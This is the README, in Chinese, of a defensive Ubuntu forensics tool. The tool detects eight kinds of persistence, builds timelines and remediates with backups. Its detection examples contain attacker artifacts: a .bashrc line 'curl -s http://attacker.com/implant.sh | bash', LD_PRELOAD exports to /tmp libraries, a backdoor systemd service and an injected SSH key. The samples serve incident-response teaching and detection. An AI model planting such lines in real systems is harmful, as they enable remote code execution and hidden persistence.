asmitdesai/ubuntils
GitHub: asmitdesai/ubuntils
一款专为 Ubuntu 设计的事件响应取证工具,通过一条命令完成持久化检测、时间线构建和自动化修复,填补 Linux 环境下快速应急响应工具的空白。
Stars: 0 | Forks: 0
# ubuntils - Ubuntu 事件响应取证工具
快速、原生的 Linux 取证工具,专为快速 Ubuntu 系统分类、持久化检测和自动化修复而设计。旨在填补事件响应工作流中的真实空白。





## 目录
1. [面临的问题](#the-problem)
2. [ubuntils 如何解决它](#how-ubuntils-solves-it)
3. [工作原理](#how-it-works)
4. [检测内容](#what-it-detects)
5. [安装](#installation)
6. [使用指南](#usage-guide)
7. [充分利用 ubuntils](#getting-the-most-out-of-ubuntils)
8. [输出示例](#example-outputs)
9. [架构](#architecture)
10. [测试与兼容性](#testing--compatibility)
11. [安全注意事项](#security-considerations)
12. [路线图](#roadmap)
13. [贡献](#contributing)
14. [许可证](#license)
## 面临的问题
### 事件响应中的空白
在一次 DFIR 课程期间,以及围绕 Wazuh、Velociraptor、MISP 和 Shuffle 搭建家庭 SOC 的过程中,我遇到了大多数事件响应人员都熟知的一个问题:
**大多数取证工具都需要在 Windows 上运行,或者在 Linux 上的碎片化非常严重,以至于系统分类变成了一项手动、易出错且枯燥的工作。**
- EnCase、Autopsy 和 FTK 都是 Windows 优先的 —— 在 Linux 上运行它们需要模拟器或产生远程开销
- Volatility 3 在内存取证方面表现出色,但需要预先捕获的 dump 文件 —— 无法进行实时分类
- 其他所有工具都是跨多个工具的一系列手动命令,且没有标准化的输出
与此同时,生产环境的基础设施绝大多数是 Ubuntu。大多数 Web 服务器、云虚拟机和容器都在运行它。然而,专门针对 Ubuntu 的取证工具却非常稀少、过时或依赖于 GUI。
### 真实的工作流痛点
当 Ubuntu 系统遭到入侵时,目前的事件响应流程如下所示:
```
1. SSH into the system
2. Run `ps aux --forest` → Manually scan process tree
3. Run `netstat -tlpn` → Check for unexpected ports
4. Run `lsof -i` → Look for suspicious connections
5. Manually read /var/log/syslog → Look for anomalies
6. Manually read /var/log/auth.log → Check login attempts and failures
7. Read journalctl output → Cross-reference systemd events
8. Check /etc/cron.d/* + crontabs → Find cron-based persistence
9. Check /etc/systemd/system/ → Find suspicious timers or services
10. Read /etc/sudoers + /etc/sudoers.d → Look for NOPASSWD abuse
11. Check ~/.ssh/authorized_keys → Find backdoor SSH keys
12. Read ~/.bashrc, ~/.zshrc → Look for LD_PRELOAD or shell hooks
13. Check /etc/ld.so.preload → Find rootkit injection points
14. Manually correlate timestamps → Try to build a timeline
15. Write a report → Document everything found
```
每个系统执行此操作需要 30 到 40 分钟,不同分析师之间的操作不一致,无法产生标准化的输出,并且没有自动化修复手段 —— 每次修复都是一次手动文件编辑,没有备份也无法回滚。
## ubuntils 如何解决它
ubuntils 将整个工作流整合到一个单一的原生 CLI 工具中。
```
sudo ubuntils scan
```
一条命令即可在所有相关位置并行运行工件收集,应用专为 Ubuntu 持久化机制调优的 8 条检测规则,从关联的日志事件构建按时间顺序排列的时间线,并生成结构化报告 —— 整个过程大约只需 5 秒钟。
当您准备好根据发现采取行动时:
```
sudo ubuntils scan --remediate --dry-run # Preview every fix before applying
sudo ubuntils scan --remediate --confirm # Apply with timestamped backups
sudo ubuntils rollback /var/backups/ubuntils_TIMESTAMP/ # Undo everything
```
### 设计原则
**原生 Linux 优先。** 无需模拟器,不依赖 Windows,没有 GUI。ubuntils 在您的基础设施运行的地方运行。
**速度与质量并重。** 工件收集并行运行。您可以在几秒钟内得到结果,且不会遗漏任何内容。
**安全第一的修复。** 每次修复在修改任何内容之前都会创建带有时间戳的备份,在应用更改之前进行验证,并提供单一回滚命令以撤销整个会话的操作。
**开放且可审计。** 每一条检测规则都有文档记录,可读且可改进。没有任何东西是黑盒。
**集成就绪。** JSON 输出可直接导入到 SIEM、MISP、TheHive 或您技术栈中的任何其他工具。
## 工作原理
ubuntils 通过固定的管道运行每次扫描:收集、检测、构建时间线、(可选)修复,然后格式化并输出。
### 工件收集
四个收集器并行运行。总收集时间受限于最慢的收集器,而不是所有收集器的总和。
**ProcessCollector** 运行 `ps aux --forest` 以捕获包含父子关系的完整进程树,运行 `lsof -i` 获取每个进程的开放网络连接,以及运行 `netstat -tlpn` / `netstat -tnp` 获取监听端口和已建立的连接。这会告诉您正在运行什么、它连接到了什么,以及进程树是否存在异常关系(例如 Web 服务器派生了一个 shell)。
**LogCollector** 解析 `/var/log/syslog`、`/var/log/auth.log`、`journalctl` 输出,以及在 auditd 运行时的 `/var/log/audit/audit.log`。每个源使用不同的解析策略,因为 syslog 文本、二进制 journal 日志和 audit 记录具有不同的格式。输出是按时间顺序排序的带时间戳事件的平铺列表。
**FilesystemCollector** 读取每个相关的持久化位置:`/etc/cron.d/`、系统 cron 目录、通过 `crontab -u -l` 获取的用户 crontab、systemd 定时器和服务文件、`/etc/sudoers` 及 `/etc/sudoers.d/` 下的所有内容、所有用户的 `~/.ssh/authorized_keys`、每个用户的 shell 初始化文件,以及 `/etc/ld.so.preload` 加上环境变量 LD_PRELOAD 的值。
**UserCollector** 读取 `/etc/passwd` 和 `/etc/group` 以构建所有用户的画像,包括他们的 UID、shell 和组成员身份,然后检查 `last`、`lastlog` 和 `who` 以获取最近的登录活动。
### 持久化检测
规则引擎接收收集到的工件并应用 8 条规则。每条规则检查一个特定条件,并在满足条件时返回一个包含严重性、路径、原因和修复可用性的发现。规则是保守的 —— 只有在存在具体、特定证据时才会生成发现,而不是基于模糊的启发式方法。有关完整细分,请参阅 [检测内容](#what-it-detects)。
### 时间线构建
时间线构建器按时间戳对所有日志事件进行排序,然后将涉及相同用户、进程或文件且时间相近的事件关联成一个可读的序列。14:00 的 SSH 登录、14:05 的 sudo 执行和 14:10 的 `.bashrc` 修改将作为关联序列出现,而不是三条互不相关的日志行。
### 修复
当传入 `--remediate` 参数时,修复引擎会对标记为 `remediation_available: true` 的发现采取行动。每个模块遵循相同的模式:识别工件,在 `/var/backups/ubuntils/TIMESTAMP/` 中创建带有时间戳的备份,验证更改(例如针对 sudoers 运行 `visudo -cf`),应用它,验证其生效,并记录该操作。如果任何步骤失败,模块将停止,而不会使系统处于部分修改的状态。
标记为仅限人工审查(规则 7 和 8)的发现绝对不会被自动修复。这些需要人工判断,这是任何规则引擎都无法替代的。
## 检测内容
### 规则 1:Cron Root 执行 (高危)
**检查内容:** 非 root 用户拥有以提升的上下文运行命令或指向 root 所拥有路径的条目的用户 crontab。
**重要性:** 拥有受损非 root 账户的攻击者可以植入一个 cron 任务,该任务以提升的权限重复执行,从而在无需再次利用任何漏洞的情况下实现持久化提权。
**示例:**
```
User: ubuntu
Cron: */5 * * * * /tmp/check_disk.sh
Running with elevated context
```
**自动修复:** 移除该 cron 条目。备份创建于 `/var/spool/cron/crontabs/ubuntu.backup.TIMESTAMP`。
### 规则 2:Cron /tmp 路径 (高危)
**检查内容:** 任何引用 `/tmp`、`/var/tmp` 或 `/dev/shm` 中路径的 cron 任务。
**重要性:** 这些目录是全局可写的。合法软件不需要指向它们的 cron 任务。攻击者将恶意软件暂存于 `/tmp` 中,因为它始终可写,且通常受到的监控不如系统目录严格。
**示例:**
```
Cron: */1 * * * * /tmp/update_check.sh
```
**自动修复:** 移除该 cron 条目。
### 规则 3:LD_PRELOAD 注入 (高危)
**检查内容:** 在 `/etc/ld.so.preload` 或任何用户的 shell 初始化文件中设置的 LD_PRELOAD,指向标准系统路径(`/lib`、`/usr/lib`、`/lib64`、`/usr/lib64`)之外的库。
**重要性:** LD_PRELOAD 强制在每个进程中于任何其他库之前加载一个共享库。这是许多 Linux rootkit 和凭据窃取器背后的机制 —— 它允许攻击者拦截系统调用、隐藏文件或透明地窃取密码。
**示例:**
```
/etc/ld.so.preload: /tmp/libhook.so
OR
~/.bashrc: export LD_PRELOAD=/var/tmp/logger.so
```
**自动修复:** 注释掉 LD_PRELOAD 行。修改前已备份原始文件。
### 规则 4:Sudoers NOPASSWD (中危)
**检查内容:** 任何向非 root、非系统用户授予 NOPASSWD 访问权限的 sudoers 条目。
**重要性:** NOPASSWD 意味着入侵该账户的攻击者可以在不知道密码的情况下以 root 身份运行任何允许的命令。它在重启后依然有效,并且在事件清理后常被忽视。
**示例:**
```
ubuntu ALL=(ALL) NOPASSWD: /usr/bin/apt-get
```
**自动修复:** 移除 NOPASSWD 子句。应用前使用 `visudo -cf` 进行验证。已创建备份。
### 规则 5:Shell 初始化劫持 (中危)
**检查内容:** Shell 初始化文件(`.bashrc`、`.zshrc`、`.bash_profile`、`.profile`)包含可疑模式:`curl`/`wget` 下载、LD_PRELOAD 导出、base64 解码执行或反向 shell 指标。
**重要性:** Shell 初始化文件在用户每次打开终端或登录时运行。攻击者可以在此植入反向 shell 或凭据窃取器,在每次登录时重新执行,而无需 cron 任务。
**示例:**
```
.bashrc:
export LD_PRELOAD=/tmp/liblogger.so
curl -s http://attacker.com/implant.sh | bash
```
**自动修复:** 注释掉可疑行。修改前已创建备份。
### 规则 6:SSH 密钥注入 (高危)
**检查内容:** 所有用户的 `~/.ssh/authorized_keys` 中的条目,这些条目是基于文件修改时间戳最近添加的,或者与配置的白名单不匹配。
**重要性:** 注入的 SSH 密钥是最干净的后门之一 —— 静默、免密码访问,即使在原始漏洞被修补后依然存在。许多响应人员检查了 root 的 authorized_keys 却忽略了其他每个用户的相同文件。
**示例:**
```
~/.ssh/authorized_keys:
ssh-rsa AAAAB3Nz... unknown@attacker
```
**自动修复:** 移除无法识别的密钥条目。首先会创建完整的 authorized_keys 备份。
### 规则 7:非标准 Systemd 服务 (中危)
**检查内容:** 位于 `/etc/systemd/system/`、`/usr/lib/systemd/system/` 和 `/lib/systemd/system/` 之外的 Systemd 服务文件,或其 `ExecStart` 指向 `/tmp`、`/home`、`/var/tmp` 或 `/dev/shm` 的服务文件。
**重要性:** 攻击者创建 systemd 服务以实现持久化,因为它们能在重启后存活。将它们放置在可写目录中意味着不需要 root 权限即可创建它们。
**示例:**
```
/tmp/malicious.service
[Service]
ExecStart=/tmp/backdoor
Restart=always
```
**自动修复:** 不可用 —— 需要人工审查。如果此规则产生误报,自动禁用服务可能会破坏合法软件。
### 规则 8:系统文件修改时间戳 (中危)
**检查内容:** 修改时间戳落在可配置的最近时间窗口内(默认:30 天)的关键系统文件(`/etc/passwd`、`/etc/shadow`、`/etc/sudoers`、`/etc/hosts`)。
**重要性:** 稳定的系统很少有修改 `/etc/passwd` 的情况。最近的更改意味着要么是管理员添加了用户,要么是攻击者添加了。无论是哪种情况,都值得调查。
**示例:**
```
/etc/passwd last modified: 5 days ago
/etc/shadow last modified: 5 days ago
```
**自动修复:** 不可用 —— 修改可能是合法的。在采取任何行动之前,需要手动对比和审查。
## 安装
### 要求
- **操作系统:** Ubuntu 20.04 LTS、22.04 LTS 或 24.04 LTS
- **架构:** x86-64 (amd64) 或 ARM64 (arm64)
- **Python:** 3.9 或更高版本
- **权限:** 需要具有 Root 或 sudo 访问权限以进行完整的工件收集
### 从源码安装
```
git clone https://github.com/asmitdesai/ubuntils.git
cd ubuntils
python3 -m venv venv
source venv/bin/activate
pip install -e .
ubuntils --version
ubuntils --help
```
### 从 PyPI 安装 (即将推出)
```
pip install ubuntils
```
### 依赖
ubuntils 使用最少的外部依赖。繁重的工作都是通过 subprocess 经由标准的 Linux 系统命令完成的。
```
click>=8.1.0 # CLI framework and argument parsing
pyyaml>=6.0 # Configuration file support
python-dateutil>=2.8 # Robust date and time parsing across log formats
tabulate>=0.9.0 # Clean table formatting for human-readable output
loguru>=0.7.0 # Structured logging with file and stream handlers
```
## 使用指南
### 命令
```
# 仅检测 (只读,不对系统进行任何更改)
sudo ubuntils scan
# 将报告保存至文件
sudo ubuntils scan --output /tmp/report.txt
# 用于 SIEM、脚本编写或管道的 JSON 输出
sudo ubuntils scan --output json
# 预览所有修复措施而不应用任何更改
sudo ubuntils scan --remediate --dry-run
# 应用修复并生成带时间戳的备份
sudo ubuntils scan --remediate --confirm
# 将系统恢复到修复前的状态
sudo ubuntils rollback /var/backups/ubuntils_TIMESTAMP/
# 列出可用的回滚点
sudo ubuntils rollback --list
# 详细的调试输出
sudo ubuntils scan -v
```
### 参数参考
| 参数 | 描述 |
|------|-------------|
| `--output human` | 人类可读报告输出到 stdout (默认) |
| `--output json` | 结构化 JSON 输出到 stdout |
| `--output /path/file` | 将报告保存到特定文件 |
| `--remediate` | 启用修复引擎 |
| `--dry-run` | 预览更改而不应用 (需要 --remediate) |
| `--confirm` | 应用更改并备份 (需要 --remediate) |
| `-v / --verbose` | 启用 debug 级别日志记录 |
## 充分利用 ubuntils
### 推荐的事件响应工作流
**1. 首先运行仅检测模式。** 绝不要一开始就进行修复。在接触任何东西之前先了解全貌。
```
sudo ubuntils scan
```
阅读每一项发现。注意时间线 —— 它显示的是事件序列,而不仅仅是孤立的工件。高危 (HIGH) 发现需要立即调查。中危 (MEDIUM) 发现在您决定采取行动之前需要进行审查。
**2. 将初始状态保存为 JSON。** 这是您在进行任何更改之前系统的取证记录。
```
sudo ubuntils scan --output json > /tmp/triage_$(hostname)_$(date +%Y%m%d_%H%M%S).json
```
**3. 在应用修复之前进行预览。**
```
sudo ubuntils scan --remediate --dry-run
```
对于每个建议的更改,请问:这个发现绝对是恶意的,还是可能是合法的管理员操作?如果您不确定,请不要自动修复它。
**4. 当您有把握时应用修复。**
```
sudo ubuntils scan --remediate --confirm
```
记下输出中的备份目录路径。如果需要回滚,您将需要它。
**5. 验证修复已生效。**
```
sudo ubuntils scan
```
已修复的发现不应再出现。如果仍有任何高危 (HIGH) 发现,它们要么是仅限人工审查,要么是修复未正确应用 —— 这两种情况都会有明确的报告。
**6. 导出修复后的干净状态。**
```
sudo ubuntils scan --output json > /tmp/post_remediation_$(hostname)_$(date +%Y%m%d_%H%M%S).json
```
### 与您的安全栈集成
**MISP:** JSON 输出中的 `findings` 数组包含具体的 IOC —— 文件路径、命令、密钥指纹。使用 `jq` 提取高危 (HIGH) 发现并将它们作为 MISP 事件导入。
```
sudo ubuntils scan --output json | jq '.findings[] | select(.severity == "HIGH")'
```
**Wazuh:** ubuntils 可以作为自定义的 Wazuh 主动响应脚本或计划命令运行。JSON 输出作为自定义日志源摄取,用于跨端点的集中告警。
**TheHive:** 每个发现都映射到一个 TheHive observable。严重性变为标签,路径变为 observable 值,建议变为备注,时间线映射到案例时间线条目。
**Velociraptor:** 使用 Velociraptor 跨集群进行内存工件和网络取证。使用 ubuntils 在单个 Ubuntu 端点上进行实时工件收集和持久化检测。它们是互为补充的关系。
### 提示
**以 root 身份运行,而不仅仅是 sudo。** 尽管 sudo 适用于大多数收集工作,但 root 访问权限可确保每个工件位置都是可读的,包括 `/proc/[pid]/environ` 和 `/etc/shadow`。
**在重启前进行分类。** 重启会清除正在运行的进程、活动的网络连接和临时文件。始终先运行 ubuntils。
**不要在生产系统上跳过 dry-run (预演)。** 花五秒钟查看 dry-run 输出可以避免您破坏正在运行的服务。
**理解仅限人工审查的含义。** 规则 7 和 8 被标记但绝对不会被自动修复。最近修改的 `/etc/passwd` 可能是攻击者,也可能是合法的管理员。ubuntils 提示您去查看 —— 由您决定该怎么做。
**在需要之前测试回滚。** 在实验环境中,植入一个 cron 任务,运行 `--confirm`,验证其是否被移除,然后运行回滚并验证它是否恢复。在真正发生事件之前了解回滚是如何工作的可以消除巨大的压力。
## 输出示例
### 人类可读报告
```
===== UBUNTU FORENSICS TRIAGE REPORT =====
Generated: 2024-06-15 14:23:45 UTC
Hostname: web-server-01
Kernel: 5.15.0-101-generic
Uptime: 45 days
Scan Mode: DETECTION ONLY
Duration: 4.82 seconds
----- EXECUTION SUMMARY -----
Artifacts Collected: 847
Findings: 5 (2 HIGH, 2 MEDIUM, 1 LOW)
Remediation Available: 4 of 5
----- SUSPICIOUS FINDINGS -----
[HIGH] Cron Root Execution by Non-Root User
ID: FINDING_001
Location: /var/spool/cron/crontabs/ubuntu
Owner: ubuntu
Command: /tmp/check_disk.sh
Interval: */5 * * * * (every 5 minutes)
Modified: 2024-06-10 14:32:15 UTC (5 days ago)
Why: Non-root user cron executing /tmp path with elevated context
Auto-Fix: AVAILABLE
Recommendation: Investigate /tmp/check_disk.sh immediately
[HIGH] LD_PRELOAD Injection in Shell Init File
ID: FINDING_002
Location: /home/ubuntu/.bashrc
Value: LD_PRELOAD=/tmp/libx.so
Modified: 2024-06-10 09:15:22 UTC (5 days ago)
Why: LD_PRELOAD outside standard library paths; rootkit indicator
Auto-Fix: AVAILABLE
Recommendation: Examine /tmp/libx.so; likely credential harvester or rootkit
[MEDIUM] Sudoers NOPASSWD for Unprivileged User
ID: FINDING_003
Location: /etc/sudoers
Entry: ubuntu ALL=(ALL) NOPASSWD: /usr/bin/apt-get
Why: Passwordless sudo enables instant privilege escalation
Auto-Fix: AVAILABLE
Recommendation: Verify if this was intentionally configured
[MEDIUM] Unexpected SSH Key in authorized_keys
ID: FINDING_004
Location: /home/ubuntu/.ssh/authorized_keys
Key Comment: unknown@host
Modified: 2024-06-10 14:45:00 UTC (5 days ago)
Why: Key added recently with unknown origin
Auto-Fix: AVAILABLE
Recommendation: Verify key ownership; remove if not recognized
[LOW] Critical System File Modified Recently
ID: FINDING_005
Location: /etc/passwd
Modified: 2024-06-10 12:45:30 UTC (5 days ago)
Why: /etc/passwd is rarely modified on stable systems
Auto-Fix: NOT AVAILABLE (manual review required)
Recommendation: Check for unauthorized accounts with `diff /etc/passwd /etc/passwd.bak`
----- TIMELINE (Last 48 Hours) -----
2024-06-15 14:00:22 | SSH LOGIN | ubuntu | from 203.0.113.45 (SUCCESS)
2024-06-15 14:03:01 | SUDO | ubuntu | /usr/bin/apt-get update
2024-06-15 14:05:44 | FILE MODIFIED | ubuntu | /home/ubuntu/.bashrc
2024-06-15 14:08:30 | CRON ADDED | root | /tmp/check_disk.sh (every 5 min)
2024-06-15 14:10:00 | CRON RAN | root | /tmp/check_disk.sh
2024-06-15 14:15:33 | FILE MODIFIED | root | /etc/passwd
2024-06-15 14:40:01 | SSH ATTEMPT | -- | from 203.0.113.50 (FAILED x5)
2024-06-15 15:05:12 | SSHD | system | MaxAuthTries exceeded; 203.0.113.50 disconnected
----- ARTIFACT STATISTICS -----
Processes: 142 total (3 suspicious)
Network: 24 total (8 listening, 16 established)
Cron Jobs: 8 total (1 suspicious)
Systemd Timers: 5 total (0 suspicious)
Auth Events: 342 total (87 success, 255 failed)
SSH Keys: 3 total (1 suspicious)
Sudoers Entries: 12 total (1 NOPASSWD)
----- NEXT STEPS -----
sudo ubuntils scan --remediate --dry-run
sudo ubuntils scan --remediate --confirm
```
### 修复报告
```
===== UBUNTU FORENSICS REMEDIATION REPORT =====
Generated: 2024-06-15 14:31:20 UTC
Hostname: web-server-01
Scan Mode: REMEDIATION (--confirm)
Backup Dir: /var/backups/ubuntils_20240615_143120/
----- REMEDIATION APPLIED -----
[OK] FINDING_001 - Cron Root Execution
Action: Removed /tmp/check_disk.sh entry from ubuntu crontab
Backup: /var/backups/ubuntils_20240615_143120/crontabs_ubuntu
Status: SUCCESS
[OK] FINDING_002 - LD_PRELOAD Injection
Action: Commented out LD_PRELOAD line in /home/ubuntu/.bashrc
Before: export LD_PRELOAD=/tmp/libx.so
After: # export LD_PRELOAD=/tmp/libx.so [ubuntils 2024-06-15]
Backup: /var/backups/ubuntils_20240615_143120/ubuntu_.bashrc
Status: SUCCESS
[OK] FINDING_003 - Sudoers NOPASSWD
Action: Removed NOPASSWD clause; visudo syntax validated
Backup: /var/backups/ubuntils_20240615_143120/sudoers
Status: SUCCESS
[OK] FINDING_004 - SSH Key Injection
Action: Removed unknown@host key from authorized_keys
Backup: /var/backups/ubuntils_20240615_143120/ubuntu_authorized_keys
Status: SUCCESS
[SKIPPED] FINDING_005 - System File Modification
Reason: Manual review required; no auto-fix available
----- ROLLBACK -----
sudo ubuntils rollback /var/backups/ubuntils_20240615_143120/
```
### JSON 输出
```
{
"metadata": {
"timestamp": "2024-06-15T14:23:45Z",
"hostname": "web-server-01",
"kernel": "5.15.0-101-generic",
"uptime_days": 45,
"scan_duration_seconds": 4.82,
"ubuntils_version": "1.0.0",
"scan_mode": "detection"
},
"summary": {
"artifacts_collected": 847,
"findings": { "high": 2, "medium": 2, "low": 1, "total": 5 },
"remediation_available": 4
},
"findings": [
{
"id": "FINDING_001",
"severity": "HIGH",
"category": "cron_root_execution",
"title": "Cron Root Execution by Non-Root User",
"path": "/var/spool/cron/crontabs/ubuntu",
"owner": "ubuntu",
"command": "/tmp/check_disk.sh",
"details": {
"cron_interval": "*/5 * * * *",
"last_modified": "2024-06-10T14:32:15Z",
"days_since_modified": 5
},
"why_suspicious": "Non-root user cron executing /tmp path with elevated context",
"remediation": {
"available": true,
"type": "cron_removal",
"action": "Remove cron entry"
},
"recommendation": "Investigate /tmp/check_disk.sh immediately"
},
{
"id": "FINDING_002",
"severity": "HIGH",
"category": "ld_preload_injection",
"title": "LD_PRELOAD Injection in Shell Init File",
"path": "/home/ubuntu/.bashrc",
"details": {
"value": "LD_PRELOAD=/tmp/libx.so",
"file_modified": "2024-06-10T09:15:22Z",
"days_since_modified": 5
},
"why_suspicious": "LD_PRELOAD outside standard library paths; rootkit indicator",
"remediation": {
"available": true,
"type": "shell_cleanup",
"action": "Comment out LD_PRELOAD line"
},
"recommendation": "Examine /tmp/libx.so for malicious behavior"
}
],
"timeline": [
{
"timestamp": "2024-06-15T14:00:22Z",
"event_type": "ssh_login",
"user": "ubuntu",
"source_ip": "203.0.113.45",
"status": "success"
},
{
"timestamp": "2024-06-15T14:05:44Z",
"event_type": "file_modified",
"user": "ubuntu",
"path": "/home/ubuntu/.bashrc"
},
{
"timestamp": "2024-06-15T14:08:30Z",
"event_type": "cron_added",
"user": "root",
"command": "/tmp/check_disk.sh"
}
],
"artifacts": {
"processes": { "total": 142, "suspicious": 3 },
"network": { "total": 24, "listening": 8, "established": 16 },
"cron_jobs": { "total": 8, "suspicious": 1 },
"systemd_timers": { "total": 5, "suspicious": 0 },
"auth_events": { "total": 342, "successful": 87, "failed": 255 },
"ssh_keys": { "total": 3, "suspicious": 1 },
"sudoers_entries": { "total": 12, "nopasswd": 1 }
}
}
```
## 架构
```
ubuntils/
├── ubuntils/
│ ├── __init__.py
│ ├── cli.py # Click CLI entry point, commands, flags
│ ├── collectors/
│ │ ├── __init__.py
│ │ ├── processes.py # ps, lsof, netstat
│ │ ├── logs.py # syslog, auth, journal, auditd
│ │ ├── filesystem.py # cron, sudoers, SSH, shell, LD_PRELOAD
│ │ └── users.py # passwd, group, login activity
│ ├── detectors/
│ │ ├── __init__.py
│ │ ├── persistence.py # 8 detection rules
│ │ └── anomalies.py # Timeline anomaly detection
│ ├── remediators/
│ │ ├── __init__.py
│ │ ├── cron_remediation.py
│ │ ├── sudoers_remediation.py
│ │ ├── ssh_remediation.py
│ │ ├── ld_preload_remediation.py
│ │ ├── shell_remediation.py
│ │ ├── backup_manager.py # Timestamped backup creation
│ │ └── rollback_manager.py # Backup restoration
│ ├── formatters/
│ │ ├── __init__.py
│ │ ├── human.py # Human-readable report
│ │ └── json_formatter.py # JSON output
│ └── utils/
│ ├── __init__.py
│ ├── shell.py # Safe subprocess wrappers
│ ├── logging.py # loguru setup
│ └── validators.py # Input validation
├── tests/
│ ├── test_collectors.py
│ ├── test_detectors.py
│ ├── test_remediators.py
│ └── test_integration.py
├── README.md
├── INSTALL.md
├── CONTRIBUTING.md
├── claude.md
├── requirements.txt
├── setup.py
└── .github/
└── workflows/
└── tests.yml
```
## 测试与兼容性
### 平台支持
| 架构 | 状态 | 备注 |
|---|---|---|
| ARM64 (arm64) | 主要支持 | 通过 Parallels 在 MacBook M4 Pro 上测试 —— 最频繁的测试环境 |
| AMD64 (x86-64) | 已支持 | 在原生 Ubuntu 安装上验证 |
| x86 (32-bit) | 不支持 | 无支持计划 |
### Ubuntu 版本支持
| 版本 | 状态 |
|---------|--------|
| Ubuntu 20.04 LTS | 已支持并测试 |
| Ubuntu 22.04 LTS | 已支持并测试 |
| Ubuntu 24.04 LTS | 已支持并测试 |
### 运行测试套件
```
pip install pytest pytest-cov
pytest tests/
pytest --cov=ubuntils tests/ # With coverage report
pytest tests/test_detectors.py -v # Single module, verbose
```
测试套件涵盖所有 4 个收集器、所有 8 条使用已知不良和已知良好输入的检测规则、备份创建和回滚,以及针对植入工件的端到端集成测试。目标覆盖率为 80% 以上。
## 安全注意事项
### 为什么需要 Root 访问权限
ubuntils 需要 root 或 sudo 权限才能读取 `/var/log/*`、`/etc/sudoers`、`/etc/shadow`、所有进程的 `/proc/[pid]/environ` 以及其他用户的主目录和 crontab。对于无法获取完整 root 权限的仅限检测的扫描,ubuntils 会优雅地降级 —— 它会跳过不可读的工件并在输出中注明,而不是直接失败。
### 修复保障措施
每一项修复操作:在修改任何内容之前创建带有时间戳的备份,在应用前验证更改(sudoers 运行 `visudo -cf`,cron 条目在移除后进行验证),绝不移除系统上的所有 sudo 访问权限,绝不强制删除文件(仅注释掉或移除特定条目),需要明确的 `--confirm` 参数,并记录带有时间戳的每个操作以用于审计追踪。
### 在生产系统上运行
在生产环境中应用任何更改之前,请使用仅检测模式或 `--dry-run`。在修复前后保存 JSON 输出作为您的事件记录。在开始之前,请准备好从 `--confirm` 输出中获取的备份目录路径,以备需要回滚之用。
## 路线图
### v1.0.0 — 2024 年夏季
- [ ] 工件收集(进程、日志、文件系统、用户)
- [ ] 8 条持久化检测规则
- [ ] 从日志关联构建时间线
- [ ] 带有备份和回滚的安全修复
- [ ] 人类可读和 JSON 输出
- [ ] 80% 以上的测试覆盖率
- [ ] AMD64 和 ARM64 支持
- [ ] Ubuntu 20.04、22.04、24.04 支持
### v1.5.0 — 夏季之后
- [ ] VirusTotal API 集成(标记文件的哈希值查找)
- [ ] MISP 集成(自动导出 IOC)
- [ ] 基于 YAML 的自定义规则配置
- [ ] 误报白名单支持
### v2.0.0 — 未来
- [ ] 用于报告可视化的 Web 仪表板
- [ ] Wazuh 主动响应集成
- [ ] macOS 支持
- [ ] SOAR 自动化钩子
## 贡献
在以下领域的贡献最有价值:针对鲜为人知的 Ubuntu 持久化机制的新检测规则、针对当前未涵盖的工件源的额外收集器、针对当前标记为仅限人工审查的发现的修复模块、在不同 Ubuntu 配置和硬件上的测试用例,以及文档改进。
有关开发设置、代码样式和 Pull Request 流程,请参阅 [CONTRIBUTING.md](CONTRIBUTING.md)。
## 许可证
MIT 许可证。详情请见 [LICENSE](LICENSE)。
## 作者
由 **Asmit** 构建 —— BTech CS,PES University,Bengaluru。
本工具源于在一次 DFIR 课程期间以及搭建家庭 SOC 过程中对 Ubuntu 事件响应工具现状的真实不满。每一条检测规则、修复模块和设计决策都有文档记录并开放审查。
## 支持
- **Bug 报告和功能请求:** [github.com/asmitdesai/ubuntils/issues](https://github.com/asmitdesai/ubuntils/issues)
- **讨论:** [github.com/asmitdesai/ubuntils/discussions](https://github.com/asmitdesai/ubuntils/discussions)
- **安全问题:** 通过 GitHub Security Advisory 私下报告
**ubuntils:自动化 Ubuntu 事件响应。交付更快。修复更智能。**
标签:GitHub Advanced Security, HTTP请求, Linux取证, Python, Velociraptor, Wazuh, 子域名变形, 安全加固, 安全运营, 库, 应急响应, 开源安全工具, 开源情报, 恶意代码分类, 扫描框架, 持久化检测, 数据包嗅探, 无后门, 无线安全, 用户态调试, 端点安全, 系统分类, 自动化取证, 自动化补救, 补丁管理, 逆向工具, 逆向工程平台